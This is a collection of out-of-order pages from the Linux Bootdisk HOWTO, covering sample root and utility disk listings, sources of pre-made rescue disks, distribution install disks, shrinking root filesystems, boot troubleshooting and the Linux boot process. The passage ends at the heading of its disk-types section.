brw–rw––––   1 root     floppy     2,   4 Aug  8 13:54 fd0d360
brw–rw––––   1 root     floppy     2,   8 Aug  8 13:54 fd0h1200
brw–rw––––   1 root     floppy     2,  40 Aug  8 13:54 fd0h1440
brw–rw––––   1 root     floppy     2,  56 Aug  8 13:55 fd0h1476
brw–rw––––   1 root     floppy     2,  72 Aug  8 13:55 fd0h1494
brw–rw––––   1 root     floppy     2,  92 Aug  8 13:55 fd0h1600
brw–rw––––   1 root     floppy     2,  20 Aug  8 13:54 fd0h360
brw–rw––––   1 root     floppy     2,  48 Aug  8 13:55 fd0h410
brw–rw––––   1 root     floppy     2,  64 Aug  8 13:55 fd0h420
brw–rw––––   1 root     floppy     2,  24 Aug  8 13:54 fd0h720
brw–rw––––   1 root     floppy     2,  80 Aug  8 13:55 fd0h880
brw–rw––––   1 root     disk       3,   0 May  5  1998 hda
brw–rw––––   1 root     disk       3,   1 May  5  1998 hda1
brw–rw––––   1 root     disk       3,   2 May  5  1998 hda2
brw–rw––––   1 root     disk       3,   3 May  5  1998 hda3
brw–rw––––   1 root     disk       3,   4 May  5  1998 hda4
brw–rw––––   1 root     disk       3,   5 May  5  1998 hda5
brw–rw––––   1 root     disk       3,   6 May  5  1998 hda6
brw–rw––––   1 root     disk       3,  64 May  5  1998 hdb
brw–rw––––   1 root     disk       3,  65 May  5  1998 hdb1
brw–rw––––   1 root     disk       3,  66 May  5  1998 hdb2
brw–rw––––   1 root     disk       3,  67 May  5  1998 hdb3
brw–rw––––   1 root     disk       3,  68 May  5  1998 hdb4
brw–rw––––   1 root     disk       3,  69 May  5  1998 hdb5
brw–rw––––   1 root     disk       3,  70 May  5  1998 hdb6
crw–r–––––   1 root     kmem       1,   2 May  5  1998 kmem
crw–r–––––   1 root     kmem       1,   1 May  5  1998 mem
lrwxrwxrwx   1 root     root           12 Nov  1 15:39 modem –> ttyS1
lrwxrwxrwx   1 root     root           12 Nov  1 15:39 mouse –> psaux
crw–rw–rw–   1 root     root       1,   3 May  5  1998 null
crwxrwxrwx   1 root     root      10,   1 Oct  5 20:22 psaux
brw–r–––––   1 root     disk       1,   1 May  5  1998 ram
brw–rw––––   1 root     disk       1,   0 May  5  1998 ram0
brw–rw––––   1 root     disk       1,   1 May  5  1998 ram1
brw–rw––––   1 root     disk       1,   2 May  5  1998 ram2
brw–rw––––   1 root     disk       1,   3 May  5  1998 ram3
brw–rw––––   1 root     disk       1,   4 May  5  1998 ram4
brw–rw––––   1 root     disk       1,   5 May  5  1998 ram5
brw–rw––––   1 root     disk       1,   6 May  5  1998 ram6
brw–rw––––   1 root     disk       1,   7 May  5  1998 ram7
brw–rw––––   1 root     disk       1,   8 May  5  1998 ram8
brw–rw––––   1 root     disk       1,   9 May  5  1998 ram9
lrwxrwxrwx   1 root     root            4 Nov  1 15:39 ramdisk –> ram0
***  I have only included devices for the IDE partitions I use.
***  If you use SCSI, then use the /dev/sdXX devices instead.
crw–––––––   1 root     root       4,   0 May  5  1998 tty0
crw–w–––––   1 root     tty        4,   1 Nov  1 15:39 tty1
crw–––––––   1 root     root       4,   2 Nov  1 15:29 tty2
crw–––––––   1 root     root       4,   3 Nov  1 15:29 tty3
crw–––––––   1 root     root       4,   4 Nov  1 15:29 tty4
crw–––––––   1 root     root       4,   5 Nov  1 15:29 tty5
crw–––––––   1 root     root       4,   6 Nov  1 15:29 tty6
crw–––––––   1 root     root       4,   7 May  5  1998 tty7
crw–––––––   1 root     tty        4,   8 May  5  1998 tty8
crw–––––––   1 root     tty        4,   9 May  8 12:57 tty9
crw–rw–rw–   1 root     root       4,  65 Nov  1 12:17 ttyS1
crw–rw–rw–   1 root     root       1,   5 May  5  1998 zero

/etc:
–rw–––––––   1 root     root          164 Nov  1 15:39 conf.modules
–rw–––––––   1 root     root          668 Nov  1 15:39 fstab
–rw–––––––   1 root     root           71 Nov  1 15:39 gettydefs
–rw–––––––   1 root     root          389 Nov  1 15:39 group
–rw–––––––   1 root     root          413 Nov  1 15:39 inittab
–rw–––––––   1 root     root           65 Nov  1 15:39 issue
–rw–r––r––   1 root     root          746 Nov  1 15:39 ld.so.cache
–rw–––––––   1 root     root           32 Nov  1 15:39 motd
–rw–––––––   1 root     root          949 Nov  1 15:39 nsswitch.conf
drwx––x––x   2 root     root         1024 Nov  1 15:39 pam.d
–rw–––––––   1 root     root          139 Nov  1 15:39 passwd
–rw–––––––   1 root     root          516 Nov  1 15:39 profile
–rwx––x––x   1 root     root          387 Nov  1 15:39 rc
–rw–––––––   1 root     root           55 Nov  1 15:39 shells
–rw–––––––   1 root     root          774 Nov  1 15:39 termcap
–rw–––––––   1 root     root           78 Nov  1 15:39 ttytype
lrwxrwxrwx   1 root     root           15 Nov  1 15:39 utmp –> ../var/run/utmp
lrwxrwxrwx   1 root     root           15 Nov  1 15:39 wtmp –> ../var/log/wtmp

/etc/pam.d:
–rw–––––––   1 root     root          356 Nov  1 15:39 other

/lib:
–rwxr–xr–x   1 root     root        45415 Nov  1 15:39 ld–2.0.7.so
lrwxrwxrwx   1 root     root           11 Nov  1 15:39 ld–linux.so.2 –> ld–2.0.7.so
–rwxr–xr–x   1 root     root       731548 Nov  1 15:39 libc–2.0.7.so
lrwxrwxrwx   1 root     root           13 Nov  1 15:39 libc.so.6 –> libc–2.0.7.so
lrwxrwxrwx   1 root     root           17 Nov  1 15:39 libcom_err.so.2 –> libcom_err.so.2.0
–rwxr–xr–x   1 root     root         6209 Nov  1 15:39 libcom_err.so.2.0
–rwxr–xr–x   1 root     root       153881 Nov  1 15:39 libcrypt–2.0.7.so
lrwxrwxrwx   1 root     root           17 Nov  1 15:39 libcrypt.so.1 –> libcrypt–2.0.7.so
–rwxr–xr–x   1 root     root        12962 Nov  1 15:39 libdl–2.0.7.so
lrwxrwxrwx   1 root     root           14 Nov  1 15:39 libdl.so.2 –> libdl–2.0.7.so
lrwxrwxrwx   1 root     root           16 Nov  1 15:39 libext2fs.so.2 –> libext2fs.so.2.4
–rwxr–xr–x   1 root     root        81382 Nov  1 15:39 libext2fs.so.2.4
–rwxr–xr–x   1 root     root        25222 Nov  1 15:39 libnsl–2.0.7.so
lrwxrwxrwx   1 root     root           15 Nov  1 15:39 libnsl.so.1 –> libnsl–2.0.7.so
–rwx––x––x   1 root     root       178336 Nov  1 15:39 libnss_files–2.0.7.so
lrwxrwxrwx   1 root     root           21 Nov  1 15:39 libnss_files.so.1 –> libnss_files–2.0.7.so
lrwxrwxrwx   1 root     root           14 Nov  1 15:39 libpam.so.0 –> libpam.so.0.64
–rwxr–xr–x   1 root     root        26906 Nov  1 15:39 libpam.so.0.64
lrwxrwxrwx   1 root     root           19 Nov  1 15:39 libpam_misc.so.0 –> libpam_misc.so.0.64
–rwxr–xr–x   1 root     root         7086 Nov  1 15:39 libpam_misc.so.0.64
–r–xr–xr–x   1 root     root        35615 Nov  1 15:39 libproc.so.1.2.6
lrwxrwxrwx   1 root     root           15 Nov  1 15:39 libpwdb.so.0 –> libpwdb.so.0.54
–rw–r–r–––   1 root     root       121899 Nov  1 15:39 libpwdb.so.0.54
lrwxrwxrwx   1 root     root           19 Nov  1 15:39 libtermcap.so.2 –> libtermcap.so.2.0.8
–rwxr–xr–x   1 root     root        12041 Nov  1 15:39 libtermcap.so.2.0.8
–rwxr–xr–x   1 root     root        12874 Nov  1 15:39 libutil–2.0.7.so
lrwxrwxrwx   1 root     root           16 Nov  1 15:39 libutil.so.1 –> libutil–2.0.7.so
lrwxrwxrwx   1 root     root           14 Nov  1 15:39 libuuid.so.1 –> libuuid.so.1.1
–rwxr–xr–x   1 root     root         8039 Nov  1 15:39 libuuid.so.1.1
drwx––x––x   3 root     root         1024 Nov  1 15:39 modules
drwx––x––x   2 root     root         1024 Nov  1 15:39 security

/lib/modules:
drwx––x––x   4 root     root         1024 Nov  1 15:39 2.0.35

/lib/modules/2.0.35:
drwx––x––x   2 root     root         1024 Nov  1 15:39 block
drwx––x––x   2 root     root         1024 Nov  1 15:39 cdrom

/lib/modules/2.0.35/block:
drwx––––––   1 root     root         7156 Nov  1 15:39 loop.o

/lib/modules/2.0.35/cdrom:
drwx––––––   1 root     root        24108 Nov  1 15:39 cdu31a.o

/lib/security:
–rwx––x––x   1 root     root         8771 Nov  1 15:39 pam_permit.so

***  Directory stubs for mounting
/mnt:
drwx––x––x   2 root     root         1024 Nov  1 15:39 cdrom
drwx––x––x   2 root     root         1024 Nov  1 15:39 floppy

/proc:

/root:
–rw–––––––   1 root     root          176 Nov  1 15:39 .bashrc
–rw–––––––   1 root     root          182 Nov  1 15:39 .cshrc
–rwx––x––x   1 root     root          455 Nov  1 15:39 .profile
–rw–––––––   1 root     root         4014 Nov  1 15:39 .tcshrc

/sbin:
–rwx––x––x   1 root     root        23976 Nov  1 15:39 depmod
–rwx––x––x   2 root     root       274600 Nov  1 15:39 e2fsck
–rwx––x––x   1 root     root        41268 Nov  1 15:39 fdisk
–rwx––x––x   1 root     root         9396 Nov  1 15:39 fsck
–rwx––x––x   2 root     root       274600 Nov  1 15:39 fsck.ext2
–rwx––x––x   1 root     root        29556 Nov  1 15:39 getty
–rwx––x––x   1 root     root         6620 Nov  1 15:39 halt
–rwx––x––x   1 root     root        23116 Nov  1 15:39 init
–rwx––x––x   1 root     root        25612 Nov  1 15:39 insmod
–rwx––x––x   1 root     root        10368 Nov  1 15:39 kerneld
–rwx––x––x   1 root     root       110400 Nov  1 15:39 ldconfig
–rwx––x––x   1 root     root         6108 Nov  1 15:39 lsmod
–rwx––x––x   2 root     root        17400 Nov  1 15:39 mke2fs
–rwx––x––x   1 root     root         4072 Nov  1 15:39 mkfs
–rwx––x––x   2 root     root        17400 Nov  1 15:39 mkfs.ext2
–rwx––x––x   1 root     root         5664 Nov  1 15:39 mkswap
–rwx––x––x   1 root     root        22032 Nov  1 15:39 modprobe
lrwxrwxrwx   1 root     root            4 Nov  1 15:39 reboot –> halt
–rwx––x––x   1 root     root         7492 Nov  1 15:39 rmmod
–rwx––x––x   1 root     root        12932 Nov  1 15:39 shutdown
lrwxrwxrwx   1 root     root            6 Nov  1 15:39 swapoff –> swapon
–rwx––x––x   1 root     root         5124 Nov  1 15:39 swapon
lrwxrwxrwx   1 root     root            4 Nov  1 15:39 telinit –> init
–rwx––x––x   1 root     root         6944 Nov  1 15:39 update

/tmp:

/usr:
drwx––x––x   2 root     root         1024 Nov  1 15:39 bin
drwx––x––x   2 root     root         1024 Nov  1 15:39 lib
drwx––x––x   3 root     root         1024 Nov  1 15:39 man
drwx––x––x   2 root     root         1024 Nov  1 15:39 sbin
drwx––x––x   3 root     root         1024 Nov  1 15:39 share
lrwxrwxrwx   1 root     root           10 Nov  1 15:39 tmp –> ../var/tmp

/usr/bin:
–rwx––x––x   1 root     root        37164 Nov  1 15:39 afio
–rwx––x––x   1 root     root         5044 Nov  1 15:39 chroot
–rwx––x––x   1 root     root        10656 Nov  1 15:39 cut
–rwx––x––x   1 root     root        63652 Nov  1 15:39 diff
–rwx––x––x   1 root     root        12972 Nov  1 15:39 du
–rwx––x––x   1 root     root        56552 Nov  1 15:39 find
–r–x––x––x   1 root     root         6280 Nov  1 15:39 free
–rwx––x––x   1 root     root         7680 Nov  1 15:39 head
–rwx––x––x   1 root     root         8504 Nov  1 15:39 id
–r–sr–xr–x   1 root     bin          4200 Nov  1 15:39 passwd
–rwx––x––x   1 root     root        14856 Nov  1 15:39 tail
–rwx––x––x   1 root     root        19008 Nov  1 15:39 tr
–rwx––x––x   1 root     root         7160 Nov  1 15:39 wc
–rwx––x––x   1 root     root         4412 Nov  1 15:39 whoami

/usr/lib:
lrwxrwxrwx   1 root     root           17 Nov  1 15:39 libncurses.so.4 –> libncurses.so.4.2
–rw–r–r–––   1 root     root       260474 Nov  1 15:39 libncurses.so.4.2

/usr/sbin:
–r–x––x––x   1 root     root        13684 Nov  1 15:39 fuser
–rwx––x––x   1 root     root         3876 Nov  1 15:39 mklost+found

/usr/share:
drwx––x––x   4 root     root         1024 Nov  1 15:39 terminfo

/usr/share/terminfo:
drwx––x––x   2 root     root         1024 Nov  1 15:39 l
drwx––x––x   2 root     root         1024 Nov  1 15:39 v

/usr/share/terminfo/l:
–rw–––––––   1 root     root         1552 Nov  1 15:39 linux
–rw–––––––   1 root     root         1516 Nov  1 15:39 linux–m
–rw–––––––   1 root     root         1583 Nov  1 15:39 linux–nic

/usr/share/terminfo/v:
–rw–––––––   2 root     root         1143 Nov  1 15:39 vt100
–rw–––––––   2 root     root         1143 Nov  1 15:39 vt100–am

/var:
drwx––x––x   2 root     root         1024 Nov  1 15:39 log
drwx––x––x   2 root     root         1024 Nov  1 15:39 run
drwx––x––x   2 root     root         1024 Nov  1 15:39 tmp

/var/log:
–rw–––––––   1 root     root            0 Nov  1 15:39 wtmp

/var/run:
–rw–––––––   1 root     root            0 Nov  1 15:39 utmp

/var/tmp:

Prev | Home | Next
LILO boot error codes |  | Sample utility disk directory listing


Pre-made Bootdisks

The Linux Bootdisk HOWTO
Prev A. Resources and pointers Next

A.1. Pre-made Bootdisks

These are sources for distribution bootdisks. Please use one of the mirror sites to reduce the load on these machines.

  • Slackware bootdisks, rootdisks and Slackware mirror sites

  • RedHat bootdisks and Red Hat mirror sites

  • Debian bootdisks and Debian mirror sites

  • Mandrake downloads

In addition to the distribution bootdisks, the following rescue disk images are available. Unless otherwise specified, these are available in the directory http://www.ibiblio.org/pub/Linux/system/recovery/!INDEX.html

  • RIP is a boot/rescue system which comes in several versions: one that fits on a 1.44M floppy diskette and one that fits on a CD-ROM. It has large file support and many utility programs for disk maintenance and rescue. It has support for ext2, ext3, iso9660, msdos, ntfs, reiserfs, ufs and vfat. RIP is available from http://www.tux.org/pub/people/kent-robotti/looplinux/rip/index.html

  • tomsrtbt, by Tom Oehser, is a single-disk boot/root disk based on kernel 2.0, with a large set of features and support programs. It supports IDE, SCSI, tape, network adaptors, PCMCIA and more. About 100 utility programs and tools are included for fixing and restoring disks. The package also includes scripts for disassembling and reconstructing the images so that new material can be added if necessary.

  • rescue02, by John Comyns, is a rescue disk based on kernel 1.3.84, with support for IDE and Adaptec 1542 and NCR53C7,8xx. It uses ELF binaries but it has enough commands so that it can be used on any system. There are modules that can be loaded after booting for all other SCSI cards. It probably won't work on systems with 4 mb of ram since it uses a 3 mb ram disk.

  • resque_disk-2.0.22, by Sergei Viznyuk, is a full-featured boot/root disk based on kernel 2.0.22 with built-in support for IDE, many difference SCSI controllers, and ELF/AOUT. Also includes many modules and useful utilities for repairing and restoring a hard disk.

  • cramdisk images, based on the 2.0.23 kernel, available for 4 meg and 8 meg machines. They include math emulation and networking (PPP and dialin script, NE2000, 3C509), or support for the parallel port ZIP drive. These diskette images will boot on a 386 with 4MB RAM. MSDOS support is included so you can download from the net to a DOS partition.

Prev | Home | Next
Resources and pointers | Up | Rescue packages


How the pros do it

The Linux Bootdisk HOWTO
Prev Next

10. How the pros do it

You may notice that the bootdisks used by major distributions such as Slackware, RedHat or Debian seem more sophisticated than what is described in this document. Professional distribution bootdisks are based on the same principles outlined here, but employ various tricks because their bootdisks have additional requirements. First, they must be able to work with a wide variety of hardware, so they must be able to interact with the user and load various device drivers. Second, they must be prepared to work with many different installation options, with varying degrees of automation. Finally, distribution bootdisks usually combine installation and rescue capabilities.

Some bootdisks use a feature called initrd (initial ramdisk). This feature was introduced around 2.0.x and allows a kernel to boot in two phases. When the kernel first boots, it loads an initial ramdisk image from the boot disk. This initial ramdisk is a root filesystem containing a program that runs before the real root fs is loaded. This program usually inspects the environment and/or asks the user to select various boot options, such as the device from which to load the real rootdisk. It typically loads additional modules not built in to the kernel. When this initial program exits, the kernel loads the real root image and booting continues normally. For further information on initrd, see your local file /usr/src/linux/Documentation/initrd.txt and ftp://elserv.ffm.fgan.de/pub/linux/loadlin-1.6/initrd-example.tgz

The following are summaries of how each distribution's installation disks seem to work, based on inspecting their filesystems and/or source code. We do not guarantee that this information is completely accurate, or that they have not changed since the versions noted.

Slackware (v.3.1) uses a straightforward LILO boot similar to what is described in Section 6.1. The Slackware bootdisk prints a bootup message (“Welcome to the Slackware Linux bootkernel disk!”) using LILO's message parameter. This instructs the user to enter a boot parameter line if necessary. After booting, a root filesystem is loaded from a second disk. The user invokes a setup script which starts the installation. Instead of using a modular kernel, Slackware provides many different kernels and depends upon the user to select the one matching his or her hardware requirements.

RedHat (v.4.0) also uses a LILO boot. It loads a compressed ramdisk on the first disk, which runs a custom init program. This program queries for drivers then loads additional files from a supplemental disk if necessary.

Debian (v.1.3) is probably the most sophisticated of the installation disk sets. It uses the SYSLINUX loader to arrange various load options, then uses an initrd image to guide the user through installation. It appears to use both a customized init and a customized shell.

Prev | Home | Next
Miscellaneous topics |  | Creating bootable CD-ROMs


Reducing root filesystem size

The Linux Bootdisk HOWTO
Prev Next

8. Reducing root filesystem size

One of the main problems with building bootdisks is getting everything to fit into one (or even two) diskettes. Even when files are compressed this can be very difficult, because Linux system components keep growing. Here are some common techniques used to make everything fit.

8.1. Increase the diskette density

By default, floppy diskettes are formatted at 1440K, but higher density formats are possible. Whether you can boot from higher density disks depends mostly on your BIOS. fdformat will format disks for the following sizes: 1600K, 1680K, 1722K, 1743K, 1760K, 1840K, and 1920K. See the fdformat man page and /usr/src/linux/Documentation/devices.txt.

But what diskette densities/geometries will your machine support? Here are some (lightly edited) answers from Alain Knaff, the author of fdutils.

This is more an issue of the BIOS rather than the physical format of the disk. If the BIOS decides that any sector number greater than 18 is bad, then there is not much we can do. Indeed, short of disassembling the BIOS, trial and error seems to be the only way to find out. However, if the BIOS supports ED disks (extra density: 36 sectors/track and 2.88MB), there's a chance that 1722K disks are supported as well.

Superformatted disks with more than 21 sectors/track are likely not bootable: indeed, those use sectors of non-standard sizes (1024 bytes in a sector instead of 512, for example), and are likely not bootable. It should however be possible to write a special bootsector program to work around this. If I remember correctly, the DOS 2m utility has such a beast, as does OS/2's XDF utilities.

Some BIOSes artificially claim that any sector number greater than 18 must be in error. As 1722K disks use sector numbers up to 21, these would not be bootable. The best way to test would be to format a test DOS or syslinus disk as 1722K and make it bootable. If you use LILO, don't use the option linear (or else LILO would assume that the disk is the default 18 sectors/track, and the disk will fail to boot even if supported by the BIOS).

8.2. Replace common utilities with BusyBox

Much root filesystem space is consumed by common GNU system utilities such as cat, chmod, cp, dd, df, etc. The BusyBox project was designed to provide minimal replacements for these common system utilities. BusyBox supplies one single monolithic executable file, /bin/busybox, about 150K, which implements the functions of these utilities. You then create symlinks from different utilities to this executable; busybox sees how it was called and invokes the correct code. BusyBox even includes a basic shell. BusyBox is available in binary packages for many distributions, and source code is available from the BusyBox site.

8.3. Use an alternate shell

Some of the popular shells for Linux, such as bash and tcsh, are large and require many libraries. If you don't use the BusyBox shell, you should still consider replacing your shell anyway. Some light-weight alternatives are ash, lsh, kiss and smash, which are much smaller and require few (or no) libraries. Most of these replacement shells are available from http://www.ibiblio.org/pub/Linux/system/shells/. Make sure any shell you use is capable of running commands in all the rc files you include on your bootdisk.

8.4. Strip libraries and binaries

Many libraries and binaries are distributed with debugging information. Running file on these files will tell you ``not stripped'' if so. When copying binaries to your root filesystem, it is good practice to use:
      objcopy --strip-all FROM TO

Important

When copying libraries, be sure to use strip-debug instead of strip-all.

8.5. Move files to a utility disk

If some of your binaries are not needed immediately to boot or login, you can move them to a utility disk. See Section 9.2 for details. You may also consider moving modules to a utility disk as well.

Prev | Home | Next
Troubleshooting, or The Agony of Defeat |  | Miscellaneous topics


Troubleshooting, or The Agony of Defeat

The Linux Bootdisk HOWTO
Prev Next

7. Troubleshooting, or The Agony of Defeat

When building bootdisks, the first few tries often will not boot. The general approach to building a root disk is to assemble components from your existing system, and try and get the diskette-based system to the point where it displays messages on the console. Once it starts talking to you, the battle is half over because you can see what it is complaining about, and you can fix individual problems until the system works smoothly. If the system just hangs with no explanation, finding the cause can be difficult. The recommended procedure for investigating the problem where the system will not talk to you is as follows:

  • You may see a message like this:
    Kernel panic: VFS: Unable to mount root fs on XX:YY
    This is a common problem and it has only a few causes. First, check the device XX:YY against the list of device codes in /usr/src/linux/Documentation/devices.txt. If it is incorrect, you probably didn't do an rdev -R, or you did it on the wrong image. If the device code is correct, then check carefully the device drivers compiled into your kernel. Make sure it has floppy disk, ramdisk and ext2 filesystem support built-in.

  • If you see many errors like:
    end_request: I/O error, dev 01:00 (ramdisk), sector NNN
    This is an I/O error from the ramdisk driver, usually because the kernel is trying to write beyond the end of the device. The ramdisk is too small to hold the root filesystem. Check your bootdisk kernel's initialization messages for a line like:
            Ramdisk driver initialized : 16 ramdisks of 4096K size
    Check this size against the uncompressed size of the root filesystem. If the ramdisks aren't large enough, make them larger.

  • Check that the root disk actually contains the directories you think it does. It is easy to copy at the wrong level so that you end up with something like /rootdisk/bin instead of /bin on your root diskette.

  • Check that there is a /lib/libc.so with the same link that appears in your /lib directory on your hard disk.

  • Check that any symbolic links in your /dev directory in your existing system also exist on your root diskette filesystem, where those links are to devices which you have included in your root diskette. In particular, /dev/console links are essential in many cases.

  • Check that you have included /dev/tty1, /dev/null, /dev/zero, /dev/mem, /dev/ram and /dev/kmem files.

  • Check your kernel configuration -- support for all resources required up to login point must be built in, not modules. So ramdisk and ext2 support must be built-in.

  • Check that your kernel root device and ramdisk settings are correct.

Once these general aspects have been covered, here are some more specific files to check:

  1. Make sure init is included as /sbin/init or /bin/init. Make sure it is executable.

  2. Run ldd init to check init's libraries. Usually this is just libc.so, but check anyway. Make sure you included the necessary libraries and loaders.

  3. Make sure you have the right loader for your libraries -- ld.so for a.out or ld-linux.so for ELF.

  4. Check the /etc/inittab on your bootdisk filesystem for the calls to getty (or some getty-like program, such as agetty, mgetty or getty_ps). Double-check these against your hard disk inittab. Check the man pages of the program you use to make sure these make sense. inittab is possibly the trickiest part because its syntax and content depend on the init program used and the nature of the system. The only way to tackle it is to read the man pages for init and inittab and work out exactly what your existing system is doing when it boots. Check to make sure /etc/inittab has a system initialisation entry. This should contain a command to execute the system initialization script, which must exist.

  5. As with init, run ldd on your getty to see what it needs, and make sure the necessary library files and loaders were included in your root filesystem.

  6. Be sure you have included a shell program (e.g., bash or ash) capable of running all of your rc scripts.

  7. If you have a /etc/ld.so.cache file on your rescue disk, remake it.

If init starts, but you get a message like:
        Id xxx respawning too fast: disabled for 5 minutes
it is coming from init, usually indicating that getty or login is dying as soon as it starts up. Check the getty and login executables and the libraries they depend upon. Make sure the invocations in /etc/inittab are correct. If you get strange messages from getty, it may mean the calling form in /etc/inittab is wrong.

If you get a login prompt, and you enter a valid login name but the system prompts you for another login name immediately, the problem may be with PAM or NSS. See Section 4.4. The problem may also be that you use shadow passwords and didn't copy /etc/shadow to your bootdisk.

If you try to run some executable, such as df, which is on your rescue disk but you yields a message like: df: not found, check two things: (1) Make sure the directory containing the binary is in your PATH, and (2) make sure you have libraries (and loaders) the program needs.

Prev | Home | Next
Putting them together: Making the diskette(s) |  | Reducing root filesystem size


Sample utility disk directory listing

The Linux Bootdisk HOWTO
Prev

D. Sample utility disk directory listing

total 579
–rwxr–xr–x   1 root     root        42333 Jul 28 19:05 cpio
–rwxr–xr–x   1 root     root        32844 Aug 28 19:50 debugfs
–rwxr–xr–x   1 root     root       103560 Jul 29 21:31 elvis
–rwxr–xr–x   1 root     root        29536 Jul 28 19:04 fdisk
–rw–r–r–––   1 root     root       128254 Jul 28 19:03 ftape.o
–rwxr–xr–x   1 root     root        17564 Jul 25 03:21 ftmt
–rwxr–xr–x   1 root     root        64161 Jul 29 20:47 grep
–rwxr–xr–x   1 root     root        45309 Jul 29 20:48 gzip
–rwxr–xr–x   1 root     root        23560 Jul 28 19:04 insmod
–rwxr–xr–x   1 root     root          118 Jul 28 19:04 lsmod
lrwxrwxrwx   1 root     root            5 Jul 28 19:04 mt –> mt–st
–rwxr–xr–x   1 root     root         9573 Jul 28 19:03 mt–st
lrwxrwxrwx   1 root     root            6 Jul 28 19:05 rmmod –> insmod
–rwxr–xr–x   1 root     root       104085 Jul 28 19:05 tar
lrwxrwxrwx   1 root     root            5 Jul 29 21:35 vi –> elvis

Prev | Home
Sample root filesystem listings |


Preface

The Linux Bootdisk HOWTO
Prev Next

1. Preface

Important

This document may be outdated. If the date on the title page is more than six months ago, please check the Bootdisk-HOWTO homepage to see if a more recent version exists.

Although this document should be legible in its text form, it looks much better in Postscript, PDF or HTML forms because of the typographical conventions used.

1.1. Version notes

Graham Chapman wrote the original Bootdisk-HOWTO and supported it through version 3.1. Tom Fawcett started as co-author around the time kernel v2 was introduced, and he is the document's current maintainer. Chapman has disappeared from the Linux community and his whereabouts are currently unknown.

This information is intended for Linux on the Intel platform. Much of this information may be applicable to Linux on other processors, but I have no first-hand experience or information about this. If you have experience with bootdisks on other platforms, please contact me.

1.2. To do list

  1. User-mode-linux ( http://user-mode-linux.sourceforge.net) seems like a great way to test out bootdisks without having to reboot your machine constantly. I haven't been able to get it to work. If anyone has been using this consistently with homemade bootdisks, please let me know.

  2. Re-analyze distribution bootdisks and update the "How the Pros do it" section.

  3. Figure out just how much of the init-getty-login sequence can be simplified, and rip it out. A few people have said that init can be linked directly to /bin/sh; if so, and if this imposes no great limitations, alter the instructions to do this. This would eliminate the need for getty, login, gettydefs, and maybe all that PAM and NSS stuff.

  4. Go through the 2.4 kernel source code again and write a detailed explanation of how the boot process and ramdisk-loading process work, in detail. (If only so that I understand it better.) There are some issues about initrd and limitations of booting devices (eg flash memory) that I don't understand yet.

  5. Delete section that describes how to upgrade existing distribution bootdisks. This is usually more trouble than it's worth.

  6. Replace rdev commands with LILO keywords.

1.3. Feedback and credits

I welcome any feedback, good or bad, on the content of this document. I have done my best to ensure that the instructions and information herein are accurate and reliable, but I don't know everything and I don't keep up on kernel development. Please let me know if you find errors or omissions. When writing, please indicate the version number of the document you're referencing. Be nice.

We thank the many people who assisted with corrections and suggestions. Their contributions have made it far better than we could ever have done alone.

Send comments and corrections to the author at the email address above. Please read Section 7 before asking me questions. Do not email me disk images.

1.4. Distribution policy

Copyright © 1995-2002 by Tom Fawcett and Graham Chapman. This document may be distributed under the terms set forth in the Linux Documentation Project License. Please contact the authors if you are unable to get the license.

This is free documentation. It is distributed in the hope that it will be useful, but without any warranty; without even the implied warranty of merchantability or fitness for a particular purpose.

Prev | Home | Next
The Linux Bootdisk HOWTO |  | Introduction


Introduction

The Linux Bootdisk HOWTO
Prev Next

2. Introduction

Linux boot disks are useful in a number of situations, such as testing a new kernel, recovering from a disk failure (anything from a lost boot sector to a disk head crash), fixing a disabled system, or upgrading critical system files safely (such as libc.so).

There are several ways of obtaining boot disks:

  • Use one from a distribution such as Slackware. This will at least allow you to boot.

  • Use a rescue package to set up disks designed to be used as rescue disks.

  • Learn what is required for each of the types of disk to operate, then build your own.

Some people choose the last option so they can do it themselves. That way, if something breaks, they can work out what to do to fix it. Plus it's a great way to learn about how a Linux system works.

This document assumes some basic familiarity with Linux system administration concepts. For example, you should know about directories, filesystems and floppy diskettes. You should know how to use mount and df. You should know what /etc/passwd and fstab files are for and what they look like. You should know that most of the commands in this HOWTO should be run as root.

Constructing a bootdisk from scratch can be complicated. If you haven't read the Linux FAQ and related documents, such as the Linux Installation HOWTO and the Linux Installation Guide, you should not be trying to build boot diskettes. If you just need a working bootdisk for emergencies, it is much easier to download a prefabricated one. See Appendix A.1, below, for where to find these.

Prev | Home | Next
Preface |  | Bootdisks and the boot process


Bootdisks and the boot process

The Linux Bootdisk HOWTO
Prev Next

3. Bootdisks and the boot process

A bootdisk is basically a miniature, self-contained Linux system on a diskette. It must perform many of the same functions that a complete full-size Linux system performs. Before trying to build one you should understand the basic Linux boot process. Here we present the basics, which are sufficient for understanding the rest of this document. Many details and alternative options have been omitted.

3.1. The boot process

All PC systems start the boot process by executing code in ROM (specifically, the BIOS) to load the sector from sector 0, cylinder 0 of the boot drive. The boot drive is usually the first floppy drive (designated A: in DOS and /dev/fd0 in Linux). The BIOS then tries to execute this sector. On most bootable disks, sector 0, cylinder 0 contains either:

  • code from a boot loader such as LILO, which locates the kernel, loads it and executes it to start the boot proper; or

  • the start of an operating system kernel, such as Linux.

If a Linux kernel has been raw-copied to a diskette, the first sector of the disk will be the first sector of the Linux kernel itself. This first sector will continue the boot process by loading the rest of the kernel from the boot device.

When the kernel is completely loaded, it initializes device drivers and its internal data structures. Once it is completely initialized, it consults a special location in its image called the ramdisk word. This word tells it how and where to find its root filesystem. A root filesystem is simply a filesystem that will be mounted as ``/''. The kernel has to be told where to look for the root filesystem; if it cannot find a loadable image there, it halts.

In some boot situations — often when booting from a diskette — the root filesystem is loaded into a ramdisk, which is RAM accessed by the system as if it were a disk. RAM is several orders of magnitude faster than a floppy disk, so system operation is fast from a ramdisk. Also, the kernel can load a compressed filesystem from the floppy and uncompress it onto the ramdisk, allowing many more files to be squeezed onto the diskette.

Once the root filesystem is loaded and mounted, you see a message like:
        VFS: Mounted root (ext2 filesystem) readonly.

Once the system has loaded a root filesystem successfully, it tries to execute the init program (in /bin or /sbin). init reads its configuration file /etc/inittab, looks for a line designated sysinit, and executes the named script. The sysinit script is usually something like /etc/rc or /etc/init.d/boot. This script is a set of shell commands that set up basic system services, such as running fsck on hard disks, loading necessary kernel modules, initializing swapping, initializing the network, and mounting disks mentioned in /etc/fstab.

This script often invokes various other scripts to do modular initialization. For example, in the common SysVinit structure, the directory /etc/rc.d/ contains a complex structure of subdirectories whose files specify how to enable and shut down most system services. However, on a bootdisk the sysinit script is often very simple.

When the sysinit script finishes control returns to init, which then enters the default runlevel, specified in inittab with the initdefault keyword. The runlevel line usually specifies a program like getty, which is responsible for handling commununications through the console and ttys. It is the getty program which prints the familiar ``login:'' prompt. The getty program in turn invokes the login program to handle login validation and to set up user sessions.

3.2. Disk types

